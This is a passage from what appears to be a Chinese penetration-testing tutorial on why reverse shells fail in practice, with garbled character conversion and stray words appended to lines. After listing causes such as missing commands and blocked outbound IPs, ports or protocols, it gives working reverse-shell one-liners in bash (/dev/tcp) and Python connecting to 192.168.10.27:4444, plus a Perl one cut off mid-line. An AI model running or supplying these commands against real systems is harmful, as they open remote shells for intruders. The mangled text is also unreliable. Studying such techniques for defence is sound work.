在實戰中,咱們常常會遇到各類各樣奇怪的環境。python
反彈shell失敗的緣由有不少:shell
- 反彈的命令不存在或當前用戶無權限調用bash
- 禁止出站IP
- 禁止出站端口
- 禁止出站協議
反彈的命令不存在或當前用戶無權限調用bash
因爲這種狀況下只侷限於Linux,因此不考慮Windowsbash
反彈shell的命令,儘管這麼多命令能夠反彈shell,可是最終都仍是調用bash來反彈,因此socket
#bash反彈 bash -i >& /dev/tcp/192.168.10.27/4444 0>&1 #python反彈 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.27",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' #Perl反彈 perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")